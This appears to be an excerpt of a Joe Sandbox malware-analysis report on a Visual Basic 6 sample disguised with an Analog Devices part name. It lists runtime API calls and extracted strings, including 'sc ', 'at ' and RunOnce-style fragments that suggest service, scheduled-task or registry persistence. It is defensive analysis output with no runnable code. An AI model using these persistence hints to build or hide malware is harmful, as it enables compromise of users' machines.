Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaFreeStr.MSVBVM60(00000000,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0042211F
__vbaStrCat.MSVBVM60(00408794,00000006,00000006,?,00000000,?,00000000,Function_000032B6), ref: 00422144
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042214F
#580.MSVBVM60(00000000,?,00000000,?,00000000,Function_000032B6), ref: 00422156
__vbaFreeStr.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042215F
#598.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042216C
__vbaNew2.MSVBVM60(004049C0,0042C060,0042C0F0,?,00000000,?,00000000,Function_000032B6), ref: 0042219D
__vbaObjSet.MSVBVM60(?,00000000), ref: 004221D7
__vbaObjSet.MSVBVM60(?,?), ref: 004221F8
__vbaFreeObjList.MSVBVM60(00000002,?,00000000,0042C0F0,00000000,?,00000020), ref: 0042221E
#598.MSVBVM60(?,00000000,Function_000032B6), ref: 0042222E
__vbaSetSystemError.MSVBVM60(?,00000000,Function_000032B6), ref: 00422250
__vbaStrCat.MSVBVM60(00408794,?,00000000,?,00000000,Function_000032B6), ref: 0042226C
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 00422277
__vbaFreeStr.MSVBVM60(00000000,?,00000000,Function_000032B6), ref: 00422286
#598.MSVBVM60(?,00000000,Function_000032B6), ref: 00422293
#648.MSVBVM60(0000000A), ref: 004222B2
__vbaFreeVar.MSVBVM60 ref: 004222C1
__vbaStrCat.MSVBVM60(00408794,?), ref: 004222D7
__vbaFreeStr.MSVBVM60(004226E7), ref: 004226D7
__vbaFreeStr.MSVBVM60 ref: 004226E0

Strings

5, xrefs: 00422686

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$CopyError$#598$#580#648BstrChkstk$#525#529#570FileGet4ListNew2OpenSystem
String ID: 5
API String ID: 3012955283-2226203566
Opcode ID: b38d2dec9a9c5a407f4ed27c153f55b07beb21e57233ec5c09002560f545ea4e
Instruction ID: 514902ae826528d268cef2b3f75eb0ca97d7031ef370423ce81c1c411bdef8a6
Opcode Fuzzy Hash: b38d2dec9a9c5a407f4ed27c153f55b07beb21e57233ec5c09002560f545ea4e
Instruction Fuzzy Hash: AD02D675900258EFDB04DFA0EE48BEEBB75FF48305F108169E502B72A0DBB45A45DB68

Function 0040C100 Relevance: 122.9, APIs: 65, Strings: 5, Instructions: 383COMMON

Download Yara Rule

APIs

#600.MSVBVM60(?,00000002), ref: 0040C111
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040C12B
__vbaFreeVar.MSVBVM60 ref: 0040C137
#580.MSVBVM60(00000000,00000027), ref: 0040CA1A
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA32
__vbaStrMove.MSVBVM60 ref: 0040CA3D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CA57
__vbaStrMove.MSVBVM60 ref: 0040CA62

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CA7D
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA99
__vbaStrMove.MSVBVM60 ref: 0040CAA4
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CABD
__vbaStrMove.MSVBVM60 ref: 0040CAC8
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CAE3

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040CB52
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040CB7A
__vbaStrMove.MSVBVM60 ref: 0040CB85
__vbaFreeStr.MSVBVM60(00000000), ref: 0040CB94
__vbaStrCopy.MSVBVM60(80000002,00000000,00000000,80000002,00000000,00000000), ref: 0040CBE5
__vbaStrMove.MSVBVM60(?), ref: 0040CBF9
__vbaStrCopy.MSVBVM60 ref: 0040CC06
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC16
__vbaStrCopy.MSVBVM60 ref: 0040CC2E
__vbaStrMove.MSVBVM60(?), ref: 0040CC42
__vbaStrCopy.MSVBVM60 ref: 0040CC4F
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC5F
__vbaStrCopy.MSVBVM60 ref: 0040CC77
__vbaStrMove.MSVBVM60(?), ref: 0040CC8B
__vbaStrCopy.MSVBVM60 ref: 0040CC98
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCA8
__vbaStrCopy.MSVBVM60 ref: 0040CCC0
__vbaStrMove.MSVBVM60(?), ref: 0040CCD4

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D136537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaStrCopy.MSVBVM60 ref: 0040CCE1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCF1
__vbaStrCopy.MSVBVM60 ref: 0040CD09
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD1B
__vbaStrMove.MSVBVM60 ref: 0040CD26

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CD3B
__vbaStrCat.MSVBVM60(00000000), ref: 0040CD42
__vbaStrMove.MSVBVM60 ref: 0040CD4D
__vbaStrCopy.MSVBVM60 ref: 0040CD5A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CD72
__vbaStrCopy.MSVBVM60 ref: 0040CD8A
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD9C
__vbaStrMove.MSVBVM60 ref: 0040CDA7

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CDBC
__vbaStrCat.MSVBVM60(00000000), ref: 0040CDC3
__vbaStrMove.MSVBVM60 ref: 0040CDCE
__vbaStrCopy.MSVBVM60 ref: 0040CDDB
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CDF3
__vbaStrCat.MSVBVM60(at.,00000000), ref: 0040CE0F
__vbaStrMove.MSVBVM60 ref: 0040CE1A
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040CE28
__vbaStrMove.MSVBVM60 ref: 0040CE33
__vbaStrCopy.MSVBVM60 ref: 0040CE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE50
__vbaStrCopy.MSVBVM60 ref: 0040CE68

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?), ref: 0040CE7C
__vbaStrCopy.MSVBVM60 ref: 0040CE89
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE99

Part of subcall function 00411F00: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CEB3,0042C160), ref: 00411F1E
Part of subcall function 00411F00: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00411F4E
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(0040CEB3,?,?,?,00000000,004032B6), ref: 00411F69
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F7D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00411F86
Part of subcall function 00411F00: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F97
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?,004156AF), ref: 0041565A
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415667
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415674
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415681
Part of subcall function 00411F00: __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041568D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 00415696
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 0041569F
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 004156A8

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CEE1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040CF27
__vbaFreeObj.MSVBVM60 ref: 0040CF42
__vbaFreeStr.MSVBVM60(0040CFB1), ref: 0040CFA1
__vbaFreeStr.MSVBVM60 ref: 0040CFAA

Part of subcall function 004115D0: __vbaErase.MSVBVM60(004065BC,0042C078,0000000A,-00000061,6D04DF85), ref: 00411B74
Part of subcall function 004115D0: __vbaRedim.MSVBVM60(00000000,00000024,0042C078,004065BC,00000001,00000003,00000001), ref: 00411B97
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411BAA
Part of subcall function 004115D0: __vbaGenerateBoundsError.MSVBVM60 ref: 00411BCE
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411BFE
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?), ref: 00411C14
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411C1A
Part of subcall function 004115D0: __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00411C2C
Part of subcall function 004115D0: __vbaAryUnlock.MSVBVM60(?), ref: 00411C3E
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411C4F

Strings

MR, xrefs: 0040CB75
RO, xrefs: 0040CA2D, 0040CA94
system\, xrefs: 0040CD16, 0040CD97
at., xrefs: 0040CE0A
Once, xrefs: 0040CA52, 0040CAB8

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$Copy$List$Error$Bstr$ChkstkUnlock$#516#580#631AnsiFileSystemUnicode$#525#570#648LockOpen$#529#537#600#616BoundsCheckDestructEraseGenerateGet3Get4HresultRedimSeek
String ID: MR$ RO$Once$at.$system\
API String ID: 2909355650-3550570743
Opcode ID: 1a787a17832883457bb363a360e8e57ce220131458789b833322a31e1582a5d4
Instruction ID: 5352e845ad87aaf5050473855ece2fd4f397f64d24d7448873b9de5ca92ad3b4
Opcode Fuzzy Hash: 1a787a17832883457bb363a360e8e57ce220131458789b833322a31e1582a5d4
Instruction Fuzzy Hash: E0F14F71A00248EFDB04EFA0EE89AEE7775EF48304F108169F606B72A1DB745A45CF59

Function 0041EB20 Relevance: 112.4, APIs: 61, Strings: 3, Instructions: 355COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041EB3E
__vbaOnError.MSVBVM60(00000001,?,?,?,00000000,Function_000032B6), ref: 0041EB6E
__vbaSetSystemError.MSVBVM60(00000005,00000000,00000002,?,?), ref: 0041EBB0
__vbaSetSystemError.MSVBVM60(00000040,00004000), ref: 0041EBE8
__vbaSetSystemError.MSVBVM60(?,FFFFFFFF,?,00004000), ref: 0041EC19
__vbaSetSystemError.MSVBVM60(?,?,00000020), ref: 0041ECA0

Part of subcall function 0041F150: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
Part of subcall function 0041F150: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
Part of subcall function 0041F150: #606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F1D1
Part of subcall function 0041F150: __vbaFreeVar.MSVBVM60 ref: 0041F1DA
Part of subcall function 0041F150: __vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
Part of subcall function 0041F150: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
Part of subcall function 0041F150: __vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F218
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F238
Part of subcall function 0041F150: __vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
Part of subcall function 0041F150: #616.MSVBVM60(?,-00000001), ref: 0041F251
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F25C
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F265
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B

__vbaStrMove.MSVBVM60(?), ref: 0041ECBB
__vbaStrCmp.MSVBVM60(00408114,?), ref: 0041ECD1
__vbaStrCat.MSVBVM60(00000000,00409A70,?), ref: 0041ECF1
__vbaStrMove.MSVBVM60 ref: 0041ECFC
__vbaStrCmp.MSVBVM60(00000000), ref: 0041ED03
__vbaFreeStr.MSVBVM60 ref: 0041ED1E
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041ED43
__vbaStrMove.MSVBVM60 ref: 0041ED4E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041ED5C
#600.MSVBVM60(00000008,00000000), ref: 0041ED7B
__vbaFreeStr.MSVBVM60 ref: 0041ED8A
__vbaFreeVar.MSVBVM60 ref: 0041ED96
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041EDAC
__vbaStrMove.MSVBVM60 ref: 0041EDB7
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EDC5
#600.MSVBVM60(00000008,00000000), ref: 0041EDE4
__vbaFreeStr.MSVBVM60 ref: 0041EDF3
__vbaFreeVar.MSVBVM60 ref: 0041EDFF

Part of subcall function 0041A980: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
Part of subcall function 0041A980: __vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
Part of subcall function 0041A980: __vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
Part of subcall function 0041A980: __vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
Part of subcall function 0041A980: __vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
Part of subcall function 0041A980: __vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
Part of subcall function 0041A980: #525.MSVBVM60(00000104), ref: 0041AA9C
Part of subcall function 0041A980: __vbaStrMove.MSVBVM60 ref: 0041AAA7
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
Part of subcall function 0041A980: __vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38

__vbaSetSystemError.MSVBVM60(00000014,00000000), ref: 0041EE2B
#598.MSVBVM60 ref: 0041EE38
#611.MSVBVM60(00000000), ref: 0041EE47
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0041EE77
#705.MSVBVM60(?,00000004), ref: 0041EE86
__vbaStrMove.MSVBVM60 ref: 0041EE94
__vbaStrCat.MSVBVM60(?,at ), ref: 0041EEB9
__vbaStrMove.MSVBVM60 ref: 0041EEC4
__vbaStrCat.MSVBVM60(004086A8,00000000), ref: 0041EED0
__vbaStrMove.MSVBVM60 ref: 0041EEDB
__vbaStrMove.MSVBVM60(00000000), ref: 0041EEEB
__vbaStrCat.MSVBVM60(00000000), ref: 0041EEF2
__vbaStrMove.MSVBVM60 ref: 0041EEFD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF0A
__vbaStrMove.MSVBVM60 ref: 0041EF15
__vbaStrCat.MSVBVM60("\\,00000000), ref: 0041EF21
__vbaStrMove.MSVBVM60 ref: 0041EF2C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF3A
__vbaStrMove.MSVBVM60 ref: 0041EF45
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF51
__vbaStrMove.MSVBVM60 ref: 0041EF5C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF6A
__vbaStrMove.MSVBVM60 ref: 0041EF78
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF84
__vbaStrMove.MSVBVM60 ref: 0041EF92
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF9F
__vbaStrMove.MSVBVM60 ref: 0041EFAD
__vbaStrCat.MSVBVM60(004095E4,00000000), ref: 0041EFB9
#600.MSVBVM60(00000008,00000000), ref: 0041EFD8
__vbaFreeStrList.MSVBVM60(0000000C,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041F022
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0041F042
__vbaOnError.MSVBVM60(000000FF), ref: 0041F076
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F099
__vbaSetSystemError.MSVBVM60(?), ref: 0041F0AF
__vbaExitProc.MSVBVM60 ref: 0041F0B5
__vbaFreeStr.MSVBVM60(0041F135), ref: 0041F12E

Strings

at , xrefs: 0041EEB0
"\\, xrefs: 0041EF1C
sc , xrefs: 0041ED3A, 0041EDA3

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
